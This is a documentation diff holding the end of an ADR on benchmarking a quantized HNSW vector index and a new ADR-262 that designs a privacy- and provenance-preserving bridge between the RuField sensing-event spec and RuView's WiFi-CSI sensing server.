+- `hnsw_quantized.rs` (new) — SymphonyQG-style quantized-traversal index over the shared graph: 1-bit Pass-2 code per node, Hamming-scored greedy + beam, exact-float rerank; 7 tests incl. the rerank-recall gate and determinism.
+- `ann_measure.rs` (new) — shared deterministic fixture + recall/QPS measurement for linear / float-HNSW / quant-HNSW, the `ann_bench_report` test (the §6 source of truth), `ANN_BENCH_N` override.
+- `benches/ann_bench.rs` (new) + `Cargo.toml` `[[bench]]` — criterion bench over the same fixture/indices.
+- `lib.rs` — `pub mod hnsw / hnsw_quantized / ann_measure`; re-export `HnswIndex`, `HnswParams`, `Metric`, `QuantizedHnswIndex`.
+- `ADR-156-ruvector-fusion-beyond-sota.md` §5 #1 + §8 backlog — SymphonyQG regraded **CLAIMED → MEASURED-direction-tested (refuted at N=10k for our 1-bit construction)**, pointing here.
+- `CHANGELOG.md` — `[Unreleased]` entry.
+
+---
+
+## 11. Milestone-2 — multi-bit traversal + large-N scaling study (MEASURED)
+
+M1 (§7) refuted the SymphonyQG direction at N=10k with a 1-bit code, and *predicted* a crossover at "large N + a higher-bit code." M2 builds both levers and measures them — so the prediction is tested, not assumed.
+
+**Built:** `hnsw_quantized.rs` generalized from 1-bit to a **`b`-bit-per-dimension** code (`b ∈ {1,2,4}`, a mid-rise quantizer over the same `RANGE=3.0` rotated coordinates as ADR-156 §10's `measure_multibit`); `ann_measure.rs` gained `run_scaling_study` / `best_float_op` / `best_quant_op` + a deterministic `scaling_report` (`#[ignore]`, `--release`) and a CI-safe `scaling_study_small_is_consistent`. Memory: **16 / 32 / 64 bytes/node** for b = 1 / 2 / 4.
+
+**MEASURED** (dim=128, 64 clusters, 200 queries, K=10, L2, M=16, ef_construction=200, seeded, `--release`, this box; target recall ≥ 0.90):
+
+| N | bits | B/node | quant best recall | float @ target | quant @ target | quant/float |
+|--:|--:|--:|--:|--|--|--:|
+| 10,000 | 1 | 16 | 1.000 | 23,155 QPS @ r=0.995 | 4,482 QPS @ r=0.965 | **0.19×** |
+| 10,000 | 2 | 32 | 1.000 | 23,155 QPS @ r=0.995 | 10,658 QPS @ r=0.908 | **0.46×** |
+| 10,000 | 4 | 64 | 1.000 | 23,155 QPS @ r=0.995 | 11,217 QPS @ r=0.946 | **0.48×** |
+| 100,000 | 1 / 2 / 4 | 16/32/64 | 0.207 / 0.346 / 0.788 | 2,493 QPS @ r=0.938 | none (never ≥ 0.90) | — |
+| 250,000 | 1 / 2 / 4 | 16/32/64 | 0.108 / 0.210 / 0.624 | 1,593 QPS @ r=0.925 | none | — |
+
+**Verdict — NO crossover at any measured (N, b) up to 250k, and the trend REFUTES the large-N prediction:**
+1. **Multi-bit helps at small N but not enough.** At N=10k, more bits lift the equal-recall QPS ratio 0.19× → 0.46× → 0.48× (and let b≥2 actually *reach* the 0.90 bar that 1-bit missed) — but quant stays **below 1.0×**, i.e. slower than float HNSW at equal recall.
+2. **The predicted large-N crossover moved the wrong way.** As N grows 10k → 100k → 250k, quant's best achievable recall **collapses** (b=4: 1.000 → 0.788 → 0.624) and never reaches the 0.90 comparison point, while float HNSW holds ≥0.92. A denser graph packs near-neighbours whose low-bit codes are nearly identical, so the approximate score steers the beam off-path faster than the bigger float-distance savings can repay. The "crossover at millions" intuition is **not supported by our construction's trend** — if anything it diverges.
+3. **Caveat unchanged:** this is our HNSW + our per-node multi-bit code, not SymphonyQG's RaBitQ-fused graph. The result refutes the *direction* for our construction at ≤250k; it does not disprove their published numbers on their system at their scale. A real 1:1 reproduction is the deferred million-scale build.
+
+This is a **published negative with the mechanism explained** — the multi-bit + scaling levers were built and measured rather than asserted, and the honest outcome (no crossover, trend diverging) is recorded, not hidden.

docs/adr/ADR-262-rufield-ruview-integration.md

@@ -0,0 +1,207 @@
+# ADR-262: RuField MFS ↔ RuView integration — a live SensingServerAdapter, a privacy/provenance bridge, MAPPED not papered-over
+
+| Field | Value |
+|-------|-------|
+| **Status** | Proposed — **P1 + P3 implemented** (live `/api/field` + `/ws/field`; P3 signs with a **dedicated dev/sensing key**, deferring the §8 Q1 `cog-ha-matter` key-ownership decision to P2) |
+| **Date** | 2026-06-14 |
+| **Deciders** | ruv |
+| **Codebase target** | New thin bridge crate `wifi-densepose-rufield` (v2 workspace member); taps `wifi-densepose-sensing-server` emit path + `wifi-densepose-engine` `TrustedOutput`; depends on `vendor/rufield/crates/rufield-*` via path (the `vendor/rvcsi` pattern) |
+| **Relates to** | ADR-260 (RuField MFS spec + v0.1 reference stack), ADR-261 (RuVector graph-ANN), ADR-141 (BFLD privacy control-plane / modes / attestation), ADR-137 (fusion-engine quality scoring / contradiction), ADR-032 (multistatic mesh security hardening / witness), ADR-116 (cog tamper-evident audit log — `cog-ha-matter` SHA-256+Ed25519), ADR-095/096 (`rvcsi` vendored-submodule precedent) |
+| **Scope** | Decide **how** RuView's live WiFi-CSI sensing-server emits RuField `FieldEvent`s, **whether** RuView's ruvsense fusion composes with or is wrapped by rufield-fusion, and **how** to reconcile RuView's existing privacy/witness/provenance machinery with RuField's P0–P5 + ed25519 `ProvenanceReceipt`. The privacy/provenance reconciliation is the crux. |
+
+---
+
+## 0. PROOF discipline (this ADR's contract)
+
+This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — every "RuView already does X" carries a `file:line`, and every external/SOTA claim is graded.
+
+- **No accuracy is claimed.** RuField v0.1 is **SYNTHETIC** end-to-end by its own admission (ADR-260 "Honest statement", line 386–390: *"Every metric here is simulator-based. No ESP32 CSI, mmWave, or thermal capture was used."*). RuView's only real-CSI rufield path today would be **replay of recorded `.csi.jsonl`, unlabeled** — `rufield-adapters::CsiReplayAdapter`'s own module doc (`vendor/rufield/crates/rufield-adapters/src/csi_replay.rs:19-31`) states it is *"real signal, replay from file not live hardware, unlabeled ⇒ proxy not validated accuracy."* This ADR therefore proposes **plumbing**, and grades its own claims as "ARCHITECTURE" (a design decision, testable by a round-trip/compile gate) vs "ACCURACY" (which it explicitly does not assert).
+- The privacy/provenance section reports an **honest conflict**: RuView has **three** witness mechanisms across two hash algorithms, and **two** privacy enums, none of which map 1:1 onto RuField's P0–P5. We map them and recommend the cleanest reconciliation rather than asserting they already align.
+- Each phase below ships an **independently testable gate** (a round-trip test, a privacy-monotonicity test, a signature-verify test) so the integration is provable, not aspirational.
+
+---
+
+## 0.1 Implementation status
+
+**P1 (§4) is implemented** as the `wifi-densepose-rufield` bridge crate (`v2/crates/wifi-densepose-rufield/`, a new v2 workspace member; path-deps the `vendor/rufield` submodule per §5.4):
+
+- **Input** — `SensingSnapshot` (owned primitives mirroring `SensingUpdate` features/classification/signal_field joined with the `TrustedOutput` `trust_class`/`demoted`/`identity_bound`); the bridge does **not** depend on `wifi-densepose-sensing-server` (anti-corruption layer).
+- **Conversion** — `snapshot_to_field_event(&snap, &Signer)` emits a signed `FieldEvent` (`Modality::WifiCsi`, axis `[Frequency]`, real `timestamp_ns`); position derived from the signal-field peak when present (never fabricated); real sha256 `ProvenanceRef` + ed25519 signature, `synthetic = false`.
+- **Privacy (§3.3 crux)** — `map_privacy()` maps by information content, **fail-closed**: `Raw → P0`, `Derived → P4` (or `P5` if identity-bound — **never P1**), `Anonymous → P2`, `Restricted → P2`; a `demoted` cycle floors egress to ≥ P2.
+- **Gates that pass** (`tests/p1_gates.rs`, 15 tests / 0 failed = 5 unit + 9 integration + 1 doc): round-trip (snapshot → `FieldEvent` → serde → equal); `is_fusable` (verified ed25519 receipt); `RuFieldFusion::ingest` accept + `infer()` runs; **privacy-safety** (`gate_privacy_safety_derived_never_maps_to_low_privacy` — `Derived → P4/P5`, never P1; full §3.3 table; fail-closed demotion); determinism (same snapshot + same signer seed → byte-identical event).
+
+**P3 (§4) is implemented** as the live RuField surface in `wifi-densepose-sensing-server` (the bridge is now wired into the running server):
+
+- **Tap** — at the ESP32 governed-trust cycle (`main.rs` `observe_cycle` ~`:5886` / `SensingUpdate` build ~`:5938`), a new `emit_rufield_event` joins the cycle's `SensingUpdate` (features / classification / signal_field) with the engine's recorded `effective_class` / `demoted` trust state into a `wifi_densepose_rufield::SensingSnapshot`, then `snapshot_to_field_event(&snap, &signer)`. Existing endpoints (`/ws/sensing` etc.) are **unchanged** — purely additive.
+- **Surface** — `GET /api/field` (latest signed `FieldEvent`s + signer pubkey + a `dev_signing_key` flag) and `GET /ws/field` (broadcast stream, mirroring `/ws/sensing`), both mounted on the HTTP port and `/ws/field` also on the WS port. A small bounded ring buffer (`FIELD_RING_CAPACITY = 64`) holds recent **network-surfaced** events. New handler code lives in `src/rufield_surface.rs`, not in the 8k-line `main.rs`.
+- **Signer (defers the P2 key decision)** — a **dedicated standalone `Signer`** held in server state, seeded from `WDP_RUFIELD_SIGNING_SEED` (64-hex or ≥32-byte value), else a deterministic dev default with a logged `WARN`. Reusing the `cog-ha-matter` Ed25519 key (§8 Q1) is the **deferred P2** decision — P3 uses a standalone sensing key so it does not pre-empt that call.
+- **Egress privacy (fail-closed)** — `network_egress_allowed` is *stricter* than `DefaultPrivacyGuard` for an unattended live surface: only **P1/P2** leave the box; P0 (raw) and P3/P4/P5 (identity/biometric/aggregate above the default P2 ceiling) are held edge-local. A `Derived` cycle maps to P4/P5 and is therefore **never** surfaced. No-presence cycles emit nothing (no phantom events).
+- **Gates that pass** (`tests/rufield_surface_test.rs`, 4 integration via `tower::oneshot` + 4 module unit, 0 failed): a well-formed **signed** event (`Modality::WifiCsi`, P2 not P1, `is_fusable` ed25519-verified, real timestamp); **empty cycle → no phantom**; **privacy-safety** — an injected `Derived` trust never surfaces on `/api/field`; a mixed stream surfaces only egress-safe events.
+
+**Deferred:** the §3.3 *provenance carrier* recommendation (reuse the `cog-ha-matter` SHA-256+Ed25519 chain + embed the BLAKE3 engine witness) is **not** in P1/P3 — both take a dedicated `Signer` (the §8 open question 1 key-ownership decision is unresolved; P3 uses a standalone dev/sensing key precisely so it does not pre-empt P2). P2's `cog-ha-matter` key reuse + BLAKE3-embed, and P4 (multi-modality), remain future work. **No accuracy is claimed** (§0 / §6) — P1/P3 are tested plumbing on a live endpoint + a safe privacy mapping; the live surface is single-link CSI with its existing caveats (no validated room-coordinate accuracy — `field_localize`).
+
+---
+
+## 1. Context — two architectures, mapped
+
+### 1.1 RuField MFS (ADR-260, `vendor/rufield/`)
+
+A standalone pure-Rust Cargo workspace (serde, serde_json, toml, sha2, ed25519-dalek; **no tch/ndarray/candle**), vendored here as a git submodule (`git submodule status vendor/rufield` → `ba66e2e…`), **not** a v2 workspace member — exactly the `vendor/rvcsi` precedent (ADR-095/096). **Not published to crates.io**: every internal dep is a path dep with a nominal `version = "0.1.0"` (`vendor/rufield/Cargo.toml:31-37`); the `docs.rs/rufield-*` URLs are aspirational.
+
+The data model (graded ARCHITECTURE, evidence read directly):
+
+- **`FieldEvent`** (`vendor/rufield/crates/rufield-core/src/event.rs:96-112`): `spec_version, event_id, timestamp_ns: u64, sensor: SensorDescriptor, tensor: FieldTensor, observation: Observation, provenance: ProvenanceRef`.
+- **`Observation`** (`event.rs:25-51`): `zone_id, space_cell, range_m, velocity_mps, motion_vector, confidence: f32, features: BTreeMap<String,f32>` (the derived P1 scalars the fusion engine actually reads), `labels: Vec<String>` (ground-truth, **never read by fusion**), `privacy_class: PrivacyClass`.
+- **`PrivacyClass`** (`rufield-core/src/privacy.rs:8-25`): `P0..P5`, `#[serde(rename_all="UPPERCASE")]`, `Ord` by declaration order so **P0 < P1 < … < P5** — higher = more private; `level()->u8` returns 0..=5 (`privacy.rs:27-40`).
+- **`ProvenanceRef`** (on-wire, `event.rs:73-93`): `raw_hash, firmware_hash` (`sha256:…`), `model_id, calibration_id, synthetic: bool`, optional `signature_hex` / `signer_pubkey_hex` (detached ed25519).
+- The four traits (`rufield-core/src/traits.rs`): **`FieldAdapter`** (`:26-38`, `next_event() -> Result<Option<FieldEvent>>`), **`FieldEncoder`** (`:41-51`, **unimplemented in v0.1** — an open seam), **`FusionEngine`** (`:54-63`, `ingest(event)` + `infer(&query)`), **`PrivacyGuard`** (`:86-97`, `authorize(class, Destination, consent, identity_bound) -> PrivacyDecision{Allow|Deny|RequiresConsent}`).
+- **`CsiReplayAdapter`** (`rufield-adapters/src/csi_replay.rs`): constructed from **already-loaded text** (`from_jsonl(&str)` `:249-251`; `from_jsonl_with(text, device_id, &[u8;32])` `:254-323`) — **not** a path/`Read`/`Iterator`. Deserializes `CsiFrameRecord { timestamp: f64 (seconds), subcarriers: Vec<f64> }` (`:74-80`), buffers all frames into a `Vec<CsiFrame>`, then streams via a cursor (`next_event` `:550-557`). Maps each frame → `FieldEvent` with `Modality::WifiCsi`, axes `[Frequency]`, a Welford motion proxy, observation `privacy_class = P2 if presence else P1` (`:439-443`), real `sha256` raw-hash, and a **real ed25519 signature** (`signer.sign_event` `:507-510`). `max_privacy_class = P2`.
+- **`RuFieldFusion`** (`rufield-fusion/src/engine.rs:55-78`): `ingest()` **rejects non-fusable events on its first line** — `if !is_fusable(&event) { return Err(NotFusable) }` (`:212-215`) — then reads `event.observation.features` into a bounded temporal window; `infer()` applies TOML rules (`WeightedBayes` noisy-OR / `TemporalWindow`) → `Vec<FieldInference>`. TOML rule struct: `inputs, method, feature, threshold, privacy_max, window_ms, requires_consent` (`rules.rs:17-35`).
+- **`is_fusable`** (`rufield-provenance/src/lib.rs:179-184`): `synthetic == true` **OR** `verify_event().is_ok()` — the §11 invariant. Signing key is `ed25519_dalek 2.1`, deterministic from a 32-byte seed; raw hash is `sha256_hex` → `"sha256:<hex>"` (`:26-35`).
+- **`DefaultPrivacyGuard`** (`rufield-privacy/src/lib.rs:38-110`): default `network_max = P2`, `allow_p0_network = false`. P5-no-identity → `Deny`; P4-no-consent → `RequiresConsent`; `EdgeLocal` → `Allow`; `Network` denies P0 and `class > network_max`.
+- **`rufield-viewer`** (Axum 0.7): **self-contained, consumes `SyntheticSim` only** — all routes are read-only GET/SSE (`GET /api/run`, `GET /events`); **there is no ingest endpoint** (`vendor/rufield/crates/rufield-viewer/src/server.rs:63-72`). Feeding it a live stream requires adding a route.
+
+### 1.2 RuView (the integration target)
+
+- **Sensing-server is Axum** (`v2/crates/wifi-densepose-sensing-server/src/main.rs:7498-7629`), two listeners (WS `:8765`, HTTP). CSI does **not** arrive over WS/HTTP — it arrives over **UDP** from ESP32 nodes (`use tokio::net::UdpSocket`, `main.rs:53`; `recv_from` loop `main.rs:5286-5299`), parsed by magic `0xC511_0001` → **`Esp32Frame`** (`types.rs:84-100`: `node_id, n_subcarriers, ppdu_type, amplitudes: Vec<f64>, phases: Vec<f64>`, rssi/freq/sequence) → pushed into per-node `NodeState.frame_history: VecDeque<Vec<f64>>` (`main.rs:441-497`).
+- **`/ws/sensing` emits a `SensingUpdate`** (`main.rs:267-317`), broadcast over a `tokio::sync::broadcast` channel (`s.tx.send(json)` `main.rs:5938-5991`; the WS handler just subscribes and forwards, `main.rs:3021-3073`). `SensingUpdate` carries `nodes`, `features`, `classification {motion_level, presence, confidence}`, `signal_field`, `persons: Vec<PersonDetection>` (17 COCO keypoints + `position:[f64;3]` from `field_localize`, `main.rs:403-428`), pose, vitals. **`field_localize` (PR #1050) is a module, not a route** (`mod field_localize` `main.rs:17`; honesty caveat `field_localize.rs:16-27` — a single ESP32 link cannot resolve true room position, `position` is "strongest field peak").
+- **ruvsense fusion is strictly WITHIN-WiFi-modality.** `MultistaticFuser::fuse(&[MultiBandCsiFrame]) -> FusedSensingFrame` (`v2/crates/wifi-densepose-signal/src/ruvsense/multistatic.rs:285-288`) attention-weights **multiple WiFi CSI nodes/viewpoints** (every input is ESP32 CSI; `multistatic_bridge.rs:50-62` builds the frames from `NodeState` amplitude with `HardwareType::Esp32S3`). `coherence_gate.rs:18-37` is the `GateDecision{Accept|PredictOnly|Reject|Recalibrate}`; `pose_tracker.rs:255-263` is the 17-keypoint Kalman tracker with 128-dim AETHER re-ID; `field_model.rs:301-308` does SVD room-eigenstructure perturbation extraction. **No camera/mmWave/audio enters this path** — ruvsense is a multi-link WiFi-CSI fuser.
+- **The governed-trust cycle** runs in the separate **`wifi-densepose-engine`** crate. `StreamingEngine::process_cycle` (`v2/crates/wifi-densepose-engine/src/lib.rs:409`, `run_cycle` `:434-533`) produces **`TrustedOutput`** (`:82-112`): `semantic_id, quality: QualityScore, effective_class: PrivacyClass, demoted: bool, provenance: SemanticProvenance, witness: [u8;32]` (BLAKE3 over `evidence‖model‖calibration‖privacy_decision‖class`, `witness_of` `:598-613`), `recalibration_recommended`. **Crucially, none of this trust metadata is on the `SensingUpdate` wire today** — it is exposed only out-of-band on `GET /api/v1/status` (`main.rs:4173-4178`) and as a single live effect: `EngineBridge::suppress_raw_outputs()` strips per-node amplitude when `effective_class >= Restricted` (`engine_bridge.rs:240-243`, applied `main.rs:5908-5932`). The honest scope is stated in `engine_bridge.rs:14-27`: the governed engine runs *alongside* the bare fusion path; derived outputs are "published ungoverned."
+
+---
+
+## 2. Decision
+
+1. **Build a thin RuView-side bridge crate `wifi-densepose-rufield`** (a new v2 workspace member) that depends on `vendor/rufield/crates/rufield-core` (+ `rufield-provenance`, `rufield-privacy`, `rufield-fusion`) **via path** — mirroring the `vendor/rvcsi` pattern. RuView does **not** depend on published rufield crates (there are none) and does **not** vendor rufield into the v2 workspace; rufield stays a standalone submodule and the bridge is the only coupling point (an anti-corruption layer).
+2. **Emit `FieldEvent`s from the live server via an in-process `SensingServerAdapter`**, not by re-using the file-based `CsiReplayAdapter` on the hot path. The bridge taps the existing `SensingUpdate` build site and the `EngineBridge` trust state, joins them, and emits one signed `FieldEvent` per cycle on a new `tokio::broadcast` topic / optional `/ws/field` endpoint. `CsiReplayAdapter` is retained for the **offline/replay** path (recorded `.csi.jsonl` → events) because it already reads RuView's recording format (`recording.rs` writes `{session}.csi.jsonl`).
+3. **Compose the two fusion engines vertically, do not merge them.** ruvsense stays the **WiFi-modality node** (multi-link fusion → one fused WiFi belief); rufield-fusion sits **above** it as the **cross-modality** graph. ruvsense's `FusedSensingFrame`/`TrustedOutput` becomes one `FieldEvent` (modality `wifi_csi`); rufield fuses it against future mmWave/thermal/`rvcsi` events. They do not conflict because ruvsense has no cross-modality fusion to collide with (§1.2 evidence).
+4. **Reconcile privacy/provenance with ONE canonical model + a documented mapping** (§3, the crux): RuView's `effective_class` is the **source of truth**, mapped onto RuField `PrivacyClass` at the bridge; RuView's existing **`cog-ha-matter` SHA-256+Ed25519 witness chain** (already RuField's exact crypto) is adopted as the carrier for RuField `ProvenanceReceipt`, with the live BLAKE3 engine witness embedded as a hashed field. We do **not** maintain two parallel signed-receipt systems.
+
+---
+
+## 3. Privacy & provenance reconciliation (the crux)
+
+This is the most important section. RuView and RuField genuinely **overlap and partially conflict**. We map both honestly.
+
+### 3.1 What RuView actually has (implemented, with evidence)
+
+- **TWO privacy enums, not one ladder.** `PrivacyClass` — **4 variants** `Raw=0, Derived=1, Anonymous=2, Restricted=3` (`v2/crates/wifi-densepose-bfld/src/lib.rs:103-116`, `#[repr(u8)]`, higher byte = more private, **non-monotonic in information** — `Derived=1` carries *more* identity than `Anonymous=2`). And `PrivacyMode` — **5 variants** `RawResearch, PrivateHome, EnterpriseAnonymous, CareWithConsent, StrictNoIdentity` (`bfld/src/privacy_mode.rs:18-31`), each mapping to a `PrivacyClass` via `target_class()` (`:63-70`; two modes collapse to `Anonymous`).
+- **THREE witness mechanisms across TWO hash algorithms:**
+  - BFLD `PrivacyAttestationProof` — **BLAKE3, unsigned**, attests mode/class continuity only; **built but NOT on the live path** (ADR-141 status line ~597; `bfld/src/privacy_mode.rs:121-148`).
+  - Engine-cycle `TrustedOutput.witness: [u8;32]` — **BLAKE3, unsigned**, over the full trust decision; **LIVE every cycle** (`wifi-densepose-engine/src/lib.rs:598-613`).
+  - `cog-ha-matter::WitnessChain` — **SHA-256 hash chain + Ed25519 signatures** (`v2/crates/cog-ha-matter/src/witness.rs:138-151`; `witness_signing.rs:39-76`), JSONL-persisted, `verify()` + `verify_signature()`. Implemented for ADR-116 (cog/Matter audit log); **standalone, not wired to BFLD/engine**. Its `WitnessHash` newtype doc explicitly anticipates a hash-algo migration (`witness.rs:37-41`).
+- **No numeric trust score.** "Trust" in code = `base_coherence: f32∈[0,1]` + `penalized_coherence()` (`signal/.../fusion_quality.rs:99,122-126`) + a **boolean** `forces_privacy_demotion()` (`:116`). Demotion is monotonic and irreversible (`demote_one` clamps at Restricted, `engine/src/lib.rs:617-619`).
+- **Structured provenance exists, but no signed "receipt" on the sensing path.** `SemanticProvenance { evidence, model_version, calibration_version, privacy_decision }` (`v2/crates/wifi-densepose-worldgraph/src/model.rs:137-147`) is attached to every belief and is the *input* to the BLAKE3 witness — but it is unsigned and not called a receipt.
+
+### 3.2 Side-by-side, graded
+
+| Dimension | RuView (file:line) | RuField | Alignment |
+|---|---|---|---|
+| Privacy ladder | `PrivacyClass` 4 (`bfld/lib.rs:103`) **or** `PrivacyMode` 5 (`bfld/privacy_mode.rs:18`) | `PrivacyClass` 6 (P0–P5, `rufield-core/privacy.rs:8`) | **PARTIAL→CONFLICT** — no clean 1:1; counts differ (4/5 vs 6); RuView class ordering non-monotonic |
+| Demotion direction | higher = more private, irreversible (`engine/lib.rs:617`) | higher P# = more private, `Ord` by decl order (`privacy.rs:8-25`) | **STRONG** (same direction) |
+| Provenance receipt | `SemanticProvenance` unsigned (`worldgraph/model.rs:137`) | `ProvenanceRef` + ed25519 (`event.rs:73`) | **PARTIAL** — structured but unsigned |
+| Witness crypto (live path) | BLAKE3 `[u8;32]`, unsigned (`engine/lib.rs:598`) | sha256 + ed25519 (`rufield-provenance/lib.rs:26,135`) | **CONFLICT** (algo + signing) |
+| Witness crypto (cog-ha-matter) | **SHA-256 + Ed25519** (`cog-ha-matter/witness.rs`, `witness_signing.rs`) | **sha256 + ed25519** | **STRONG** — RuField's exact crypto, already in-repo, but unwired and in another bounded context |
+| Trust / confidence | `penalized_coherence: f32` + boolean demote (`fusion_quality.rs:122`) | `confidence: f32` per observation | **WEAK** — RuView has no graded trust object; confidence maps, demotion is binary |
+
+### 3.3 The recommendation (the key call)
+
+**Adopt ONE canonical model with a documented, lossy-but-monotonic mapping — do not run two parallel schemes.** Concretely:
+
+1. **Privacy: RuView `effective_class` is the source of truth; the bridge maps it onto RuField `PrivacyClass`** at the egress boundary. The honest mapping (graded ARCHITECTURE — it is a *policy* decision, and it is **monotonicity-testable**, not an accuracy claim):
+
+   | RuView `PrivacyClass` | → RuField | Rationale |
+   |---|---|---|
+   | `Raw` (raw CSI amplitude) | `P0` | raw waveform |
+   | `Derived` (identity embedding, LAN-only) | `P4` *(or P5 if identity-bound)* | derived **identity** features ⇒ biometric/identity tier, **not** P1 — RuView's non-monotonic `Derived=1` is the trap; map by *information content*, not byte value |
+   | `Anonymous` (occupancy/aggregate) | `P2`/`P3` | occupancy → P2, room-count aggregate → P3 |
+   | `Restricted` (zeroized) | `P2`-capped, raw suppressed | matches `suppress_raw_outputs` (`engine_bridge.rs:240`) |
+
+   The bridge **must** map `Derived → P4/P5`, never P1, because RuView's `Derived` carries `identity_embedding` (§3.1) — this is the single most dangerous mapping mistake and gets a dedicated test (P2 in §4). `PrivacyMode` (5) is the better *operator-facing* join to RuField's 6 levels but the **class** is what gates egress, so the class mapping is canonical.
+
+2. **Provenance: adopt `cog-ha-matter`'s SHA-256+Ed25519 chain as the carrier for RuField `ProvenanceReceipt`** — it is already RuField's exact crypto (graded STRONG above), already implemented, already tamper-evident. The bridge constructs the RuField `ProvenanceRef` by: `raw_hash = sha256(csi bytes)`, `model_id`/`calibration_id` from `SemanticProvenance`, and **embeds the live BLAKE3 engine witness `[u8;32]` as a hashed provenance field** (it is already computed every cycle — do not throw it away), then **signs with ed25519** so `is_fusable` passes for live (non-synthetic) events. We do **not** add a second BLAKE3-vs-ed25519 argument: BLAKE3 stays RuView's internal fast cycle-fingerprint; ed25519 is the *external* attestation RuField requires. One signer, one chain.
+
+3. **Trust: map `penalized_coherence` → `Observation.confidence`; keep demotion binary.** RuView has no graded trust object to reconcile; the coherence scalar is the honest analog and the demotion boolean already drives `effective_class`.
+
+This is a **bridge-with-canonical-source**, not "keep both forever." RuView owns the privacy decision (it has the live governed cycle); RuField owns the *external wire shape* (P0–P5 + signed receipt). The bridge is the one-directional translation, and it is the only place the two schemes meet.
+
+---
+
+## 4. Phased plan (each phase independently shippable + testable)
+
+**P1 — `SensingServerAdapter` emitting `FieldEvent`s (ARCHITECTURE).**
+New crate `wifi-densepose-rufield` with a `SensingServerAdapter` that consumes a `(SensingUpdate, TrustedOutput)` pair (tapped at `main.rs:5886`/`:5938`) and emits a signed `FieldEvent` (`Modality::WifiCsi`, axes `[Frequency]`, observation features from `SensingUpdate.features`, `confidence` from `penalized_coherence`). Offline path: keep `CsiReplayAdapter` for recorded `.csi.jsonl`. **Gate:** a round-trip test — emit a `FieldEvent` from a fixture `SensingUpdate`, assert it serializes, `is_fusable` passes (ed25519-signed), and `RuFieldFusion::ingest` accepts it. No server changes required beyond exposing the tap; the adapter is a library.
+
+**P2 — privacy/provenance bridge (the crux, ARCHITECTURE).**
+Implement the §3.3 mapping: `effective_class → PrivacyClass`, `cog-ha-matter` ed25519 signer for the receipt, BLAKE3 witness embedded. **Gates (three, all monotonicity/safety, not accuracy):** (a) `Derived → P4|P5` never P1 (the dangerous-mapping test); (b) privacy monotonicity — `demoted == true` ⇒ emitted `PrivacyClass >= P2` and raw suppressed; (c) signature round-trip — sign with the cog-ha-matter key, `rufield_provenance::verify_event` passes. This phase is shippable without P3 (events emitted on an internal topic, not yet on the public wire).
+
+**P3 — surface in `/ws` + viewer (ARCHITECTURE).**
+Add an opt-in `/ws/field` endpoint (or a `field_events` array on `SensingUpdate` behind a flag) carrying the signed `FieldEvent` + a privacy badge. Add an ingest route to `rufield-viewer` (it has none today — `server.rs:63-72`) so it can replay RuView's live feed instead of only `SyntheticSim`. **Gate:** a WS integration test asserting a connected client receives a privacy-badged, signature-verifiable `FieldEvent`; a viewer test asserting the new ingest route renders a live event. The `cognitum` appliance can speak RuField by consuming this endpoint (it already runs `ruview-vitals-worker`); deferred to its own ADR.
+
+**P4 — fusion composition + multi-modality (ARCHITECTURE, optional).**
+Wire a second modality (cheapest: an `rvcsi`-sourced event, or recorded mmWave) into `RuFieldFusion` alongside the WiFi event, proving cross-modality fusion above ruvsense. **Gate:** a fusion test with two modalities producing ≥1 cross-modal inference, with provenance coverage 100%.
+
+---
+
+## 5. Decision matrix
+
+### 5.1 Data-path emission (P1)
+
+| Option | Latency | Reuse | Live-fit | Risk | Verdict |
+|---|---|---|---|---|---|
+| Re-use `CsiReplayAdapter` on hot path | poor (file buffer, `&str` ctor) | high | **bad** — it's a file-cursor, not a live source | low | **Reject for live** (keep for replay) |
+| In-process `SensingServerAdapter` (tap `SensingUpdate`+`TrustedOutput`) | good | medium | **good** — taps the real emit + real trust state | low | **CHOSEN** |
+| Server publishes `FieldEvent` on its own topic (no adapter trait) | good | low | good | medium (bypasses `FieldAdapter` contract) | Reject — loses the trait seam |
+
+### 5.2 Fusion relationship (P3/P4)
+
+| Option | Verdict |
+|---|---|
+| Merge ruvsense into rufield-fusion | **Reject** — different scopes; ruvsense is within-WiFi multi-link, rufield is cross-modality |
+| rufield-fusion wraps ruvsense (vertical compose) | **CHOSEN** — ruvsense → one WiFi `FieldEvent` → rufield cross-modality graph |
+| Run both as peers, reconcile after | Reject — duplicates fusion semantics, two contradiction models |
+
+### 5.3 Privacy/provenance reconciliation (P2)
+
+| Option | Verdict |
+|---|---|
+| (a) Map RuView classes onto RuField P0–P5, RuView canonical | **CHOSEN (privacy)** — `effective_class` is the live source of truth |
+| (b) Adopt RuField ed25519 receipts as RuView's provenance | **CHOSEN (provenance)** — via the already-present `cog-ha-matter` SHA-256+Ed25519 chain |
+| (c) Keep both schemes with a permanent bridge | **Reject** — two signed-receipt systems is the duplication we must not ship |
+
+### 5.4 Dependency direction
+
+| Option | Verdict |
+|---|---|
+| Depend on published rufield crates | **Reject** — not published (`vendor/rufield/Cargo.toml:31-37`) |
+| Make rufield a v2 workspace member | **Reject** — breaks the standalone-spec/`rvcsi` precedent |
+| Thin `wifi-densepose-rufield` bridge → path deps on submodule | **CHOSEN** — anti-corruption layer, single coupling point |
+
+---
+
+## 6. Security & honesty notes
+
+- **No accuracy claim.** Live RuField events from RuView are derived from the same single-link CSI whose own caveats are on record (`field_localize.rs:16-27`); the offline path is unlabeled replay (`csi_replay.rs:19-31`). This ADR ships **plumbing with monotonicity/signature gates**, not validated F1.
+- **The dangerous mapping is `Derived → P1`.** RuView's `Derived` byte value (1) is numerically below `Anonymous` (2) but carries identity (`bfld/lib.rs`); a naive byte-mapping would leak identity-bearing features as low-privacy P1. P2's gate (a) exists specifically to prevent this.
+- **One signer, not two.** Adding a second ed25519 keypair alongside `cog-ha-matter`'s would create two roots of trust. The bridge reuses the cog-ha-matter signing key (`witness_signing.rs`).
+- **`is_fusable` is a real gate, not decoration** (`rufield-provenance/lib.rs:179-184`): live events that fail to sign are rejected by `RuFieldFusion::ingest` — we must not paper over a signing failure with `synthetic = true` on a real event (that would be the §11 invariant violation the spec forbids).
+- BLAKE3 stays internal; ed25519 is the external attestation. We do not relitigate RuView's BLAKE3 cycle-witness — it is embedded, not replaced.
+
+## 7. Consequences
+
+**Positive:** RuView becomes one honest adapter in the larger RuField ecosystem (ADR-260 goal §9) without forking its fusion or privacy engine; the three witness mechanisms get a single external attestation path; cross-modality fusion becomes possible above the existing WiFi fusion; the `cognitum` appliance gains a standard wire format. The bridge is the only coupling point, so rufield can evolve as a standalone spec.
+
